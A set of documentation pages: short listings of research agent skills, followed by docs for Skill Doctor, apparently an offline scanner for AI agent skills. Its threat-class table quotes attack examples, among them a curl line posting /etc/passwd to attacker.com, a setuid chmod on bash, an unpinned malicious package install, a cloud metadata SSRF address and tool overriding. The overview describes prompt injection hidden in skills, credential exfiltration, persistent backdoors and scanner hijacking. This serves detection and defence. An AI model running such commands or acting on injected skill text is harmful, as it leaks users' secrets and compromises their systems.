https://docs.kalarislabs.com/research-agent-skills/skills/venue-templates Prepare journal manuscripts, conference papers, research posters, and grant documents using venue-specific formatting guidance and bundled LaTeX scaffolds. # `venue-templates` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** journal templates, LaTeX templates, conference papers, academic formatting, posters ## When to use it Prepare journal manuscripts, conference papers, research posters, and grant documents using venue-specific formatting guidance and bundled LaTeX scaffolds. Use when selecting an official template, checking current page or anonymity rules, adapting academic writing to a venue, or inspecting a submission PDF. ## Example requests Ask your agent in plain language, for example: * *"What's the page limit for ICML main track this year?"* * *"I'm submitting to NeurIPS 2026 and have my draft in main.tex with a copy of neurips\_article.tex from your bundled assets. I've downloaded neurips\_2026.sty. Compile gives 'File neurips\_2026.sty not found' in one folder. Can you get it building, make sure the submission is anonymous, and check the PDF is within the main-text page limit?"* * *"I'm writing my first R21 for an NIH institute and have a rough idea of the aims. I want to get the one-page aims document into shape and make sure I'm not missing any required pieces or exceeding limits before sending it to my grants office."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill venue-templates # GitHub CLI gh skill install KalarisLabs/research-agent-skills venue-templates ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`cell-press`](/research-agent-skills/skills/cell-press) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [`latex-posters`](/research-agent-skills/skills/latex-posters) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/venue-templates/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # verl-rl-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/verl-rl-training Provides guidance for training LLMs with reinforcement learning using verl (Volcano Engine RL). # `verl-rl-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Reinforcement Learning, RLHF, GRPO, PPO, Post-Training, Distributed Training ## When to use it Provides guidance for training LLMs with reinforcement learning using verl (Volcano Engine RL). Use when implementing RLHF, GRPO, PPO, or other RL algorithms for LLM post-training at scale with flexible infrastructure backends. ## Example requests Ask your agent in plain language, for example: * *"How do I set up GRPO training on GSM8K with verl?"* * *"I'm running verl on 2 nodes of 8xH100 to RL-train Qwen3-32B on my math dataset at /data/math\_train.parquet. During the rollout phase I get 'CUDA out of memory' from vLLM, and the pauses between rollout and training are very long. Config is FSDP2 with vLLM rollout and gpu\_memory\_utilization=0.9. What should I change?"* * *"I want to post-train an open LLM to solve competition math using only a programmatic right/wrong answer checker, with no value model, on a multi-node GPU cluster where I can swap the inference engine and the training backend (FSDP vs Megatron) without rewriting my code. What framework and setup would you recommend?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill verl-rl-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills verl-rl-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [`openrlhf-training`](/research-agent-skills/skills/openrlhf-training) * [`slime-rl-training`](/research-agent-skills/skills/slime-rl-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/verl-rl-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # waypoint-bio — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/waypoint-bio Use when working with Outpost Bio's open microbiome foundation models - the Waypoint checkpoints (Waypoint-6m, Waypoint-45m, Waypoint-170m), the Atlas… # `waypoint-bio` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** microbiome, foundation models, metagenomics, benchmarks ## When to use it Use when working with Outpost Bio's open microbiome foundation models - the Waypoint checkpoints (Waypoint-6m, Waypoint-45m, Waypoint-170m), the Atlas pretraining corpus, the Compass eight-task benchmark, or the `waypoint` CLI from the `waypoint-bio` package. Covers embedding microbiome samples, fine-tuning on taxonomic abundance data, benchmarking a checkpoint on Compass, pretraining a GPT-2 model on taxonomic abundance profiles, and converting MetaPhlAn, Kraken2, QIIME 2, or MGnify abundance tables into waypoint format. ## Example requests Ask your agent in plain language, for example: * *"How do I get embeddings for my gut 16S samples from the 45M Waypoint model?"* * *"I have a MetaPhlAn merged table, merged\_abundance\_table.txt, from 240 shotgun stool samples (IBD vs healthy, several timepoints per patient). I want to fine-tune Waypoint-6m to classify IBD. `waypoint prepare-dataset` choked on the pipe-separated clade names. How do I convert it and set this up properly?"* * *"I've got about 60k public gut metagenome profiles from MGnify and want to train my own transformer that treats each sample like a sentence of taxa ordered by abundance, then see how it compares with the published numbers on the standard eight-task set. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill waypoint-bio # GitHub CLI gh skill install KalarisLabs/research-agent-skills waypoint-bio ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`scikit-bio`](/research-agent-skills/skills/scikit-bio) * [`distributed-llm-pretraining-torchtitan`](/research-agent-skills/skills/distributed-llm-pretraining-torchtitan) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/waypoint-bio/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # weights-and-biases — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/weights-and-biases Logs and tracks machine learning experiments with Weights & Biases (W&B, wandb): metrics, hyperparameters, checkpoints, sweeps, artifacts with lineage, model… # `weights-and-biases` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** MLOps, Weights And Biases, WandB, Experiment Tracking, Hyperparameter Tuning, Model Registry, Collaboration, Real-Time Visualization, PyTorch, TensorFlow, HuggingFace ## When to use it Logs and tracks machine learning experiments with Weights & Biases (W\&B, wandb): metrics, hyperparameters, checkpoints, sweeps, artifacts with lineage, model registry, custom charts and shareable reports. Includes integrations for PyTorch, HuggingFace Transformers, PyTorch Lightning and Keras/TensorFlow. Use when logging training runs and comparing them across configurations, running automated hyperparameter sweeps, versioning datasets and models as artifacts, registering model versions, or sharing results with a team workspace. Use when setting up wandb.init for offline or unstable-connection training. Not for general data versioning outside ML runs. ## Example requests Ask your agent in plain language, for example: * *"How do I log my loss curves to wandb?"* * *"I'm fine-tuning bert-base-uncased with HuggingFace Trainer in train\_glue.py on a cluster with a flaky network, and my run keeps crashing with 'wandb: ERROR Error communicating with wandb process' and 'CommError: Run initialization has timed out'. I want to keep the metrics and upload them later. How should I set this up?"* * *"I've trained 40 ResNet variants with different learning rates, batch sizes and weight decays. I want the search over those settings automated so I can see which combination gives the best validation accuracy, and then share a summary with my labmates. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill weights-and-biases # GitHub CLI gh skill install KalarisLabs/research-agent-skills weights-and-biases ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`ray-train`](/research-agent-skills/skills/ray-train) * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/weights-and-biases/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # whisper — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/whisper Transcribes and translates audio with OpenAI's Whisper (openai-whisper Python package and whisper CLI), covering model sizes from tiny to large plus turbo… # `whisper` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Whisper, Speech Recognition, ASR, Multimodal, Multilingual, OpenAI, Speech-To-Text, Transcription, Translation, Audio Processing ## When to use it Transcribes and translates audio with OpenAI's Whisper (openai-whisper Python package and whisper CLI), covering model sizes from tiny to large plus turbo, language specification, initial prompts, word and segment timestamps, temperature fallback, batch processing, and subtitle generation. Use when transcribing speech, podcasts, meetings, or video audio to text. Use when translating non-English speech to English. Use when working with noisy or multilingual audio in any of 99 languages. Use when choosing a Whisper model size for available VRAM. Use when generating subtitles from audio. Not for speaker diarization or live captioning; use AssemblyAI or Deepgram instead. ## Example requests Ask your agent in plain language, for example: * *"What's the quickest way to transcribe an mp3 to text with Whisper on my laptop?"* * *"I have 40 lecture recordings in ./lectures/*.m4a, mostly Spanish with some English code-switching, and a 8 GB GPU. I ran `whisper lec01.m4a --model large` and got CUDA out of memory. How should I process the whole folder and get .srt subtitles for each?"\* * *"I recorded about 20 field interviews in Swahili and Tagalog on a noisy phone recorder. I need English text versions I can quote in my paper. What should I do, and what should I watch out for?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill whisper # GitHub CLI gh skill install KalarisLabs/research-agent-skills whisper ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/whisper/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # zarr-python — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/zarr-python Guides use of Zarr-Python 3 for storing chunked, compressed N-dimensional arrays and groups, with local, in-memory, ZIP, and fsspec-backed S3/GCS/HTTP stores… # `zarr-python` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.3 **Tags:** Zarr, chunked arrays, cloud storage, N-dimensional data, scientific data ## When to use it Guides use of Zarr-Python 3 for storing chunked, compressed N-dimensional arrays and groups, with local, in-memory, ZIP, and fsspec-backed S3/GCS/HTTP stores, plus NumPy, Dask, and Xarray integration. Covers array creation, resizing and appending, attributes, chunk and shard sizing, codecs, consolidated metadata, and v2-to-v3 migration. Use when creating or opening Zarr arrays or groups, choosing chunk sizes or compression for large datasets, reading or writing arrays on S3 or GCS, appending to time-series arrays, or migrating code from Zarr-Python 2 to 3. Use when setting up parallel I/O with Dask or Xarray. For labeled multi-dimensional datasets, use Xarray instead. ## Example requests Ask your agent in plain language, for example: * *"How do I append new rows to a zarr array as data comes in?"* * *"I'm upgrading our pipeline in `ingest/store_frames.py` from zarr 2.16 to the latest release. I'm now getting `AttributeError: 'Group' object has no attribute 'create_dataset'` and `zarr.open(..., mode='a')` behaves differently with my old `.zarr` directory made with `DirectoryStore`. What changed and how do I fix it?"* * *"I have a 2 TB stack of microscopy images (T x Z x Y x X, uint16) sitting in a bucket on S3. I want to convert it into something that many Dask workers can read slices from in parallel without downloading everything, and compression should keep storage costs down. How should I lay this out?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill zarr-python # GitHub CLI gh skill install KalarisLabs/research-agent-skills zarr-python ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/zarr-python/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # Install Skill Doctor with npm, cargo or a prebuilt binary Source: https://docs.kalarislabs.com/skill-doctor/getting-started/installation Install the Skill Doctor CLI globally with npm or cargo, download a signed prebuilt binary, or build it from source. Skill Doctor ships as one binary for Linux (musl), macOS and Windows, on `x86_64` and `aarch64`. Pick the channel that fits your setup. ```bash theme={null} npm install -g @security.kalarislabs/skill-doctor skill-doctor scan ./examples/hello-skill ``` The package downloads the matching binary during `postinstall`. Set `SKILL_DOCTOR_SKIP_DOWNLOAD=1` to skip that step, for example when you build from source. ```bash theme={null} cargo install skill-doctor --locked --features mcp skill-doctor scan ./examples/hello-skill ``` Keep `--features mcp` if you want `skill-doctor mcp`. The crate's default feature set is empty, so a plain `cargo install skill-doctor` builds without the MCP server. Download a stripped binary for your platform from [GitHub Releases](https://github.com/KalarisLabs/Skill-Doctor/releases/tag/v0.1.0), then [verify it](/skill-doctor/reference/verify-releases) before you put it on your `PATH`. On macOS, remove the Gatekeeper quarantine flag if the binary will not open: ```bash theme={null} xattr -d com.apple.quarantine skill-doctor ``` Requires Rust 1.93.0 or later. ```bash theme={null} git clone https://github.com/KalarisLabs/Skill-Doctor && cd Skill-Doctor cargo install --path crates/skill-doctor-cli --locked --features mcp skill-doctor scan ./examples/hello-skill ``` ## Supported versions `0.1.x` is the supported release line. crates.io versions 0.2.0, 0.2.2 and 0.2.3 are yanked pre-release prototypes. Do not use them; 0.1.0 is the first supported release. # Quickstart: scan your first agent skill Source: https://docs.kalarislabs.com/skill-doctor/getting-started/quickstart Scan an AI agent skill with Skill Doctor in under a minute using npx, read the findings, and understand the exit codes. You need Node.js for `npx`. Nothing else has to be installed. Point Skill Doctor at a skill folder, the directory that contains `SKILL.md`: ```bash theme={null} npx @security.kalarislabs/skill-doctor scan ./my-skill ``` To scan every skill under a directory, use `scan-all`: ```bash theme={null} npx @security.kalarislabs/skill-doctor scan-all . --exclude "node_modules/*" ``` Each finding shows a severity, a threat class ID and what was found: ```text theme={null} $ skill-doctor scan ./suspicious-skill HIGH [SD-01] Prompt Injection: ASCII smuggling detected in agent prompt HIGH [SD-10] Obfuscation: Mixed-script homoglyph "e" (U+0435) in function name MEDIUM [SD-03] Data Exfiltration: Environment variable $AWS_ACCESS_KEY referenced Coverage: 94% (comprehensive frontmatter parsed) Scan complete in 42ms ``` Look up any ID in [threat classes](/skill-doctor/reference/threat-classes). **Coverage** is the share of the skill's structure that Skill Doctor could parse. Low coverage means part of the skill was not analyzed. Use the exit code in scripts and CI: | Code | Meaning | | - | - | | `0` | Clean: no findings at or above the threshold | | `1` | Usage or internal engine error | | `2` | Findings at or above `--fail-on` (default `HIGH`) | | `3` | Structural coverage below `--fail-under-coverage` | While you write or edit skills, `watch` re-scans each time a file changes: ```bash theme={null} npx @security.kalarislabs/skill-doctor watch ./skills ``` ## Next steps npm, cargo or a prebuilt binary. Let your agent audit skills itself. Block risky skills in pull requests. # Gate CI with Skill Doctor: GitHub Actions, GitLab and SARIF Source: https://docs.kalarislabs.com/skill-doctor/guides/ci Fail builds that add risky AI agent skills. Run Skill Doctor in GitHub Actions or GitLab CI, set severity and coverage thresholds, and upload SARIF to code scanning. In CI, Skill Doctor fails the job when it finds a problem at or above your severity threshold (exit code `2`) or when it cannot parse enough of a skill (exit code `3`). ```yaml .github/workflows/skills.yml theme={null} - name: Run Skill Doctor id: scan uses: KalarisLabs/Skill-Doctor@v0.1.0 with: path: . mode: scan-all fail-on: HIGH fail-under-coverage: 0.8 output: sarif sarif-file: skill-doctor.sarif - name: Upload SARIF report if: always() uses: github/codeql-action/upload-sarif@v3 with: sarif_file: skill-doctor.sarif ``` Findings then appear in the repository's **Security → Code scanning** view. ```yaml .gitlab-ci.yml theme={null} scan-skills: image: ubuntu:latest before_script: - apt-get update && apt-get install -y curl - curl -sSfL https://github.com/KalarisLabs/Skill-Doctor/releases/download/v0.1.0/skill-doctor-v0.1.0-x86_64-unknown-linux-musl.tar.gz | tar -xz - mv skill-doctor /usr/local/bin/ script: - skill-doctor scan-all . --fail-on HIGH --output sarif > skill-doctor.sarif artifacts: reports: sast: skill-doctor.sarif ``` ```bash theme={null} skill-doctor scan-all . \ --output sarif \ --fail-on HIGH \ --fail-under-coverage 0.8 \ --deterministic \ --offline ``` ## GitHub Action inputs | Input | Default | Description | | - | - | - | | `path` | `.` | Skill folder, or a parent directory of skills | | `mode` | `scan-all` | `scan` for one skill, `scan-all` for a directory of skills | | `fail-on` | `HIGH` | Lowest severity that fails the job: `LOW`, `MEDIUM`, `HIGH`, `CRITICAL` | | `fail-under-coverage` | `0.8` | Lowest structural coverage ratio (0.0 to 1.0) that passes | | `output` | `sarif` | Report format: `text`, `json` or `sarif` | | `sarif-file` | `skill-doctor.sarif` | Where to write SARIF output | | `version` | `0.1.0` | Skill Doctor version to run | The action exposes `sarif-file` and `exit-code` as outputs. ## Compare against a baseline To see what changed since a known-good scan, save a JSON report and diff against it: ```bash theme={null} skill-doctor scan ./my-skill --output json > report.json skill-doctor diff ./my-skill --baseline report.json ``` # Use Skill Doctor as an MCP server in your AI agent Source: https://docs.kalarislabs.com/skill-doctor/guides/mcp-server Register Skill Doctor as a Model Context Protocol server in Claude Code, Claude Desktop, Cursor or Windsurf so your agent audits skills and tools before it loads or edits them. Run as an MCP server, Skill Doctor lets your agent scan a skill before it loads, runs or modifies it. ```bash theme={null} claude mcp add skill-doctor -- npx -y @security.kalarislabs/skill-doctor mcp ``` Add this entry to your `mcp.json` or the agent's MCP settings: ```json mcp.json theme={null} { "mcpServers": { "skill-doctor": { "command": "npx", "args": ["-y", "@security.kalarislabs/skill-doctor", "mcp"] } } } ``` Paste this into your coding agent: > Please install `@security.kalarislabs/skill-doctor` and register it as an MCP server with command > `npx -y @security.kalarislabs/skill-doctor mcp`. Use it to audit skill files and tools in this > workspace before executing or modifying them. Restart the agent after you change its MCP configuration. If you installed with cargo, run `skill-doctor mcp` directly and make sure the binary was built with `--features mcp`. See [installation](/skill-doctor/getting-started/installation). ## Scanner hijacking protection A malicious skill can try to instruct the agent that called the scanner. Skill Doctor fences scanned content before it returns results, and tracks these attempts as threat class [SD-11](/skill-doctor/reference/threat-classes). # Skill Doctor: security scanner for AI agent skills Source: https://docs.kalarislabs.com/skill-doctor/index Skill Doctor is a deterministic, offline-first security analyzer for AI agent skills, tools and MCP servers. Scan skill files for prompt injection, command injection and data exfiltration before your agent loads them. Skill Doctor security scanner for AI agent skill files **Skill Doctor audits AI agent skills before your agent loads them.** It reads `SKILL.md` bundles, tool schemas and companion scripts, and reports prompt injection, hidden command execution, credential exfiltration and persistent backdoors. It is written in Rust, runs offline by default and does not use a model to decide what is safe. ```bash theme={null} npx @security.kalarislabs/skill-doctor scan ./my-skill ``` Run your first scan in under a minute, with no installation. Register Skill Doctor as an MCP server in Claude Code, Cursor or Windsurf. Fail pull requests that add risky skills, and upload SARIF reports. The 11 threat classes, from SD-01 to SD-11. ## Why skills need a scanner Agent skills are natural-language instructions that an agent runs with real system access: shell tools, filesystem APIs and network sockets. They are usually installed from public repositories without code signing or sandboxing. A skill can carry: * **Prompt injection** hidden in Markdown headings, HTML comments or Unicode tag characters. * **Hidden command execution** in companion scripts (`eval`, `exec`, child processes). * **Credential exfiltration** that reads `.env` files, cloud tokens or SSH keys and sends them out. * **Persistent backdoors** written into auto-loaded agent directories such as `.claude/` or `~/.bashrc`. Model-based detectors are slow, cost money per scan, give different answers on the same input, and can be fooled by the injections they are meant to catch. Skill Doctor's default layer is deterministic: the same input always produces the same findings. ## How it works Skill Doctor checks a skill in four layers. Only the first runs by default. | Layer | What it does | Enable with | | - | - | - | | **L1** Static analysis | Lexical parsing, taint tracking from source to sink, Unicode confusable analysis (UTS #39) and compiled YARA-X rules. No network calls, no model. | On by default | | **L2** Semantic analysis | Model-assisted reading of intent and covert prompts. | `--intel` | | **L3** Behavioral harness | Runs the skill in a temporary, isolated home directory with execution quotas. | `--sandbox` | | **L4** Threat intelligence | Looks up file digests against known malicious skill databases. | `--intel` | **Higher layers can only add findings.** L2 and L3 may report more problems, but they can never suppress, dismiss or downgrade a finding from L1. ## Who it is for * Engineers who ship agent skills or plugins and want a check before release. * Registry and marketplace operators screening submitted skills. * Security teams adding skill audits to CI/CD. * Researchers studying agent threats and prompt injection defenses. ## Project links Source, issues and discussions. `@security.kalarislabs/skill-doctor` `skill-doctor` Skill Doctor is Apache-2.0 licensed and maintained by Kalaris Labs. Report vulnerabilities privately through [GitHub Security Advisories](https://github.com/KalarisLabs/Skill-Doctor/security/advisories). # Skill Doctor CLI reference: commands, flags and exit codes Source: https://docs.kalarislabs.com/skill-doctor/reference/cli Every Skill Doctor command (scan, scan-all, diff, gate, watch, mcp), its output, gating and opt-in analysis flags, and exit codes. ## Commands | Command | What it does | | - | - | | `skill-doctor scan ` | Scan one skill | | `skill-doctor scan-all ` | Scan every skill under a directory. Use `--exclude ""` to skip paths. | | `skill-doctor diff --baseline ` | Compare a scan against a saved JSON report | | `skill-doctor gate ` | Check a skill against `--fail-on` and `--fail-under-coverage` | | `skill-doctor watch ` | Re-scan each time a file changes | | `skill-doctor mcp` | Start the MCP server. Requires a build with `--features mcp`. | ```bash theme={null} skill-doctor scan-all . --exclude "node_modules/*" --exclude "target/*" skill-doctor gate ./my-skill --fail-on HIGH --fail-under-coverage 0.8 ``` ## Output and reporting Report format. Use `sarif` for code-scanning tools and `json` for baselines. Byte-identical output across identical runs: sorted keys, stable ordering and pinned timestamps. Control colored output. Hide banners and spinners. ## Gating Lowest finding severity that returns exit code `2`. Lowest structural coverage ratio that passes. Below it, the run returns exit code `3`. ## Opt-in analysis Run the L3 behavioral harness in a temporary, isolated environment. Enable L2 semantic analysis and L4 threat-intelligence digest lookups. This makes network calls. Open the interactive full-screen terminal dashboard. On by default: no required network calls and no telemetry. ## Exit codes | Code | Meaning | | - | - | | `0` | Clean: no findings at or above the threshold | | `1` | Usage or internal engine error | | `2` | Findings at or above `--fail-on` | | `3` | Structural coverage below `--fail-under-coverage` | # Threat classes: what Skill Doctor detects Source: https://docs.kalarislabs.com/skill-doctor/reference/threat-classes Reference for Skill Doctor's 11 threat classes, SD-01 to SD-11: prompt injection, command injection, data exfiltration, privilege escalation, supply-chain tampering and more. Every finding carries one of these IDs. The detection layer column shows which [analysis layer](/skill-doctor#how-it-works) catches it. L1 runs by default; the others are opt-in. | ID | Severity | Threat | Example | Detection | | - | - | - | - | - | | **SD-01** | Critical | Prompt injection | `` | L1 Unicode and Shannon entropy; L2 opt-in | | **SD-02** | Critical | Command injection | `eval(user_input)`, `subprocess.Popen(...)` | L1 source-to-sink taint; L3 opt-in | | **SD-03** | High | Data exfiltration | `curl -X POST -d @/etc/passwd attacker.com` | L1 secret patterns; L3 opt-in | | **SD-04** | Critical | Privilege escalation | `chmod +s /bin/bash`, undeclared sudoers | L1 declared vs. observed capabilities | | **SD-05** | High | Supply-chain tampering | `npm install evil-pkg@latest` (unpinned) | L1 package hook patterns; L4 opt-in | | **SD-06** | High | SSRF | `http://169.254.169.254/latest/meta-data/` | L1 metadata and loopback addresses; L2 opt-in | | **SD-07** | Critical | Tool poisoning | `tool.override("bash", "malicious_impl")` | L1 cross-skill namespace collisions; L2 opt-in | | **SD-08** | High | Persistent backdoors | Auto-loaded context hooks (`.clauderules`, cron) | L1 context file rules; L3 opt-in | | **SD-09** | Medium | Context flooding | `\x00` × 100,000, repeated instruction washing | L1 token count and repetition; L3 opt-in | | **SD-10** | High | Obfuscation and evasion | Mixed-script homoglyphs, bidi Trojan Source | L1 Unicode engine; L3 opt-in | | **SD-11** | Critical | Scanner hijacking | Content that tries to take over the scanner or its host agent | Output fencing and the additive invariant | The v0.1.0 test suite has 14 curated attack fixtures covering SD-01, SD-02, SD-03, SD-04 and SD-10. The other classes are enforced by rules. Fixture coverage for all 11 classes is planned for v0.1.1. ## Severity thresholds `--fail-on` sets the lowest severity that returns exit code `2`. The default is `HIGH`, so `HIGH` and `CRITICAL` findings fail a run and `MEDIUM` and `LOW` findings are reported only. See the [CLI reference](/skill-doctor/reference/cli). # Verify Skill Doctor release binaries with Cosign and SHA-256 Source: https://docs.kalarislabs.com/skill-doctor/reference/verify-releases Check that a Skill Doctor binary came from the official release workflow: verify the Sigstore Cosign signature, the SHA-256 checksum, and inspect the CycloneDX SBOM. Release binaries are built in isolated CI, hashed into `SHA256SUMS.txt` and signed with keyless Sigstore Cosign (GitHub OIDC). Download `SHA256SUMS.txt`, `SHA256SUMS.txt.bundle` and your binary from the [release page](https://github.com/KalarisLabs/Skill-Doctor/releases), then: ```bash theme={null} cosign verify-blob \ --bundle SHA256SUMS.txt.bundle \ --certificate-identity-regexp '^https://github\.com/KalarisLabs/Skill-Doctor/\.github/workflows/release\.yml@refs/tags/v.*$' \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ SHA256SUMS.txt ``` This proves `SHA256SUMS.txt` was produced by Skill Doctor's release workflow on a version tag. ```bash theme={null} sha256sum -c SHA256SUMS.txt --ignore-missing ``` List every bundled component and its license from the CycloneDX SBOM: ```bash theme={null} jq -r '.components[] | "\(.name) \(.version) (\(.licenses[0].license.id // "unknown"))"' skill-doctor.cdx.json ``` ## Report a vulnerability Report security issues privately through [GitHub Security Advisories](https://github.com/KalarisLabs/Skill-Doctor/security/advisories) or email `security@kalarislabs.com`.